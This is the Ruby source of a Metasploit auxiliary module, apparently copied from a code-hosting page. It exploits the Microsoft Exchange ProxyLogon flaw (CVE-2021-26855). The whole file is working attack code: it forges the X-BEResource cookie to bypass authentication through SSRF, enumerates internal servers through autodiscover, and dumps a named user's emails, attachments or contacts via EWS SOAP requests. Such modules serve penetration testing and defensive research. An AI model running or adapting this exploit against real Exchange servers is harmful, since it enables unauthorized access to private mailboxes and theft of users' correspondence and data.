438 lines
16 KiB
Ruby
438 lines
16 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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# begin auxiliary class
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Microsoft Exchange ProxyLogon Collector',
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'Description' => %q{
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This module exploit a vulnerability on Microsoft Exchange Server that
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allows an attacker bypassing the authentication and impersonating as the
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admin (CVE-2021-26855).
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By taking advantage of this vulnerability, it is possible to dump all
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mailboxes (emails, attachments, contacts, ...).
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This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
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Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
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Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
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All components are vulnerable by default.
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},
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'Author' => [
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'Orange Tsai', # Discovery (Officially acknowledged by MSRC)
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'GreyOrder', # PoC (https://github.com/GreyOrder)
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'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise)
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],
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'References' => [
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['CVE', '2021-26855'],
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['LOGO', 'https://proxylogon.com/images/logo.jpg'],
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['URL', 'https://proxylogon.com/'],
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['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],
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['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],
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['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']
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],
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'DisclosureDate' => '2021-03-02',
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'License' => MSF_LICENSE,
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'DefaultOptions' => {
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'RPORT' => 443,
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'SSL' => true
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},
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'Actions' => [
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[
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'Dump (Contacts)', {
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'Description' => 'Dump user contacts from exchange server',
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'id_attribute' => 'contacts'
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}
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],
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[
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'Dump (Emails)', {
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'Description' => 'Dump user emails from exchange server'
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}
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]
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],
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'DefaultAction' => 'Dump (Emails)',
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'Notes' => {
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'AKA' => ['ProxyLogon'],
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'Stability' => [CRASH_SAFE],
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'Reliability' => [],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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register_options([
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OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),
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OptString.new('EMAIL', [true, 'The email account what you want dump']),
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OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
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OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),
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OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])
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])
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register_advanced_options([
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OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])
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])
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end
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XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze
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def dump_contacts(server_name)
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ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"
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response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))
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if response.body =~ /Success/
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print_good("Successfully connected to: #{action['id_attribute']}")
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xml = Nokogiri::XML.parse(response.body)
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folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)
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print_status("Selected folder: #{action['id_attribute']} (#{folder_id})")
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total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content
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print_status("Number of contact found: #{total_count}")
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if total_count.to_i > datastore['MaxEntries']
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print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}")
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total_count = datastore['MaxEntries'].to_s
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end
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response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))
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xml = Nokogiri::XML.parse(response.body)
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print_status(message("Processing dump of #{total_count} items"))
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data = xml.xpath('//t:Items/t:Contact', XMLNS)
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if data.empty?
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print_status('The user has no contacts')
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else
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write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s)
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end
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end
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end
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def dump_emails(server_name)
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ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"
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response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))
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if response.body =~ /Success/
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print_good("Successfully connected to: #{datastore['FOLDER']}")
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xml = Nokogiri::XML.parse(response.body)
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folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)
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print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})")
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total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content
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print_status("Number of email found: #{total_count}")
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if total_count.to_i > datastore['MaxEntries']
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print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}")
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total_count = datastore['MaxEntries'].to_s
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end
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print_status(message("Processing dump of #{total_count} items"))
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download_items(total_count, ssrf)
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end
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end
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def download_attachments(item_id, ssrf)
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response = send_xml('POST', ssrf, soap_listattachments(item_id))
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xml = Nokogiri::XML.parse(response.body)
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xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|
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item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)
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response = send_xml('POST', ssrf, soap_downattachment(item_id))
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data = Nokogiri::XML.parse(response.body)
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filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content
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ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content
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content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content
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print_status(" -> attachment: #{item_id} (#{filename})")
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write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype)
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end
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end
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def download_items(total_count, ssrf)
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response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))
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xml = Nokogiri::XML.parse(response.body)
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xml.xpath('//t:Items/t:Message', XMLNS).each do |item|
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item_info = item.at_xpath('./t:ItemId', XMLNS)&.values
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next if item_info.nil?
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print_status("Download item: #{item_info[1]}")
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response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))
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data = Nokogiri::XML.parse(response.body)
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email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content
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write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email))
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attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content
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if datastore['ATTACHMENTS'] && attachments == 'true'
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download_attachments(item_info[0], ssrf)
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end
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print_status
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end
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end
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def message(msg)
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"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
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end
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def random_ssrf_id
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# https://en.wikipedia.org/wiki/2,147,483,647 (lol)
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# max. 2147483647
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rand(1941962752..2147483647)
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end
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def request_autodiscover(server_name)
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xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
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response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover)
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case response.body
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when %r{<ErrorCode>500</ErrorCode>}
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fail_with(Failure::NotFound, 'No Autodiscover information was found')
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when %r{<Action>redirectAddr</Action>}
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fail_with(Failure::NotFound, 'No email address was found')
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end
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xml = Nokogiri::XML.parse(response.body)
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legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
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fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank?
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server = ''
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owa_urls = []
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xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
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type = item.at_xpath('./xmlns:Type', xmlns)&.content
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if type == 'EXCH'
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server = item.at_xpath('./xmlns:Server', xmlns)&.content
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end
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next unless type == 'WEB'
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item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|
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owa_urls << owa_url.content
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end
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end
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fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
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fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty?
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return([server, legacy_dn, owa_urls])
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end
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def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')
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request = {
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'method' => method,
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'uri' => @random_uri,
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'cookie' => "X-BEResource=#{ssrf};",
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'ctype' => ctype
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}
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request = request.merge({ 'data' => data }) unless data.empty?
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received = send_request_cgi(request)
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fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
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received
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end
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def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')
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send_http(method, ssrf, data: data, ctype: ctype)
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end
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def soap_autodiscover
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<<~SOAP
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<?xml version="1.0" encoding="utf-8"?>
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<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
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<Request>
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<EMailAddress>#{datastore['EMAIL']}</EMailAddress>
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<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
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</Request>
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</Autodiscover>
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SOAP
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end
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def soap_countitems(folder_id)
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<<~SOAP
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<?xml version="1.0" encoding="utf-8"?>
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
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xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
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xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<m:GetFolder>
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<m:FolderShape>
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<t:BaseShape>Default</t:BaseShape>
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</m:FolderShape>
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<m:FolderIds>
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<t:DistinguishedFolderId Id="#{folder_id}">
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<t:Mailbox>
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<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
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</t:Mailbox>
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</t:DistinguishedFolderId>
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</m:FolderIds>
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</m:GetFolder>
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</soap:Body>
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</soap:Envelope>
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SOAP
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end
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def soap_listattachments(item_id)
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<<~SOAP
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
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xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
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xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<m:GetItem>
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<m:ItemShape>
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<t:BaseShape>IdOnly</t:BaseShape>
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<t:AdditionalProperties>
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<t:FieldURI FieldURI="item:Attachments" />
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</t:AdditionalProperties>
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</m:ItemShape>
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<m:ItemIds>
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<t:ItemId Id="#{item_id}" />
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</m:ItemIds>
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</m:GetItem>
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</soap:Body>
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</soap:Envelope>
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SOAP
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end
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def soap_listitems(folder_id, max_entries)
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<<~SOAP
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<?xml version='1.0' encoding='utf-8'?>
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<soap:Envelope
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xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
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xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
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xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
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xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
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<soap:Body>
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<m:FindItem Traversal='Shallow'>
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<m:ItemShape>
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<t:BaseShape>AllProperties</t:BaseShape>
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</m:ItemShape>
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<m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
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<m:ParentFolderIds>
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<t:DistinguishedFolderId Id='#{folder_id}'>
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<t:Mailbox>
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<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
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</t:Mailbox>
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</t:DistinguishedFolderId>
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</m:ParentFolderIds>
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</m:FindItem>
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</soap:Body>
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</soap:Envelope>
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SOAP
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end
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def soap_downattachment(item_id)
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<<~SOAP
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
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xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
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xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<m:GetAttachment>
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<m:AttachmentIds>
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<t:AttachmentId Id="#{item_id}" />
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</m:AttachmentIds>
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</m:GetAttachment>
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</soap:Body>
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</soap:Envelope>
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SOAP
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end
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def soap_downitem(id, change_key)
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<<~SOAP
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<?xml version="1.0" encoding="utf-8"?>
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
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xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
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xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<m:GetItem>
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<m:ItemShape>
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<t:BaseShape>IdOnly</t:BaseShape>
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<t:IncludeMimeContent>true</t:IncludeMimeContent>
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</m:ItemShape>
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<m:ItemIds>
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<t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
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</m:ItemIds>
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</m:GetItem>
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</soap:Body>
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</soap:Envelope>
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SOAP
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end
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def write_loot(type, data, name = '', ctype = 'text/plain')
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loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')
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print_good("File saved to #{loot_path}")
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end
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def run
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@proto = (ssl ? 'https' : 'http')
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@random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")
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print_status(message('Attempt to exploit for CVE-2021-26855'))
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# request for internal server name.
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response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")
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if response.code != 500 || !response.headers.to_s.include?('X-FEServer')
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fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')
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end
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server_name = response.headers['X-FEServer']
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print_status("Internal server name (#{server_name})")
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# get information by autodiscover request.
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print_status(message('Sending autodiscover request'))
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server_id, legacy_dn, owa_urls = request_autodiscover(server_name)
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print_status("Server: #{server_id}")
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print_status("LegacyDN: #{legacy_dn}")
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print_status("Internal target(s): #{owa_urls.join(', ')}")
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# selecting target
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print_status(message('Selecting the first internal server to respond'))
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if datastore['TARGET'].nil? || datastore['TARGET'].empty?
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target = ''
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owa_urls.each do |url|
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host = url.split('://')[1].split('.')[0].downcase
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next unless host != server_name.downcase
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response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}")
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next unless response.code == 200
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target = host
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print_good("Targeting internal: #{url}")
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break
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end
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fail_with(Failure::NotFound, 'No internal target was found') if target.empty?
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else
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target = datastore['TARGET']
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print_good("Targeting internal forced to: #{target}")
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end
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# run action
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case action.name
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when /Dump \(Contacts\)/
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print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>"))
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dump_contacts(target)
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when /Dump \(Emails\)/
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print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>"))
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dump_emails(target)
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end
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end
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end
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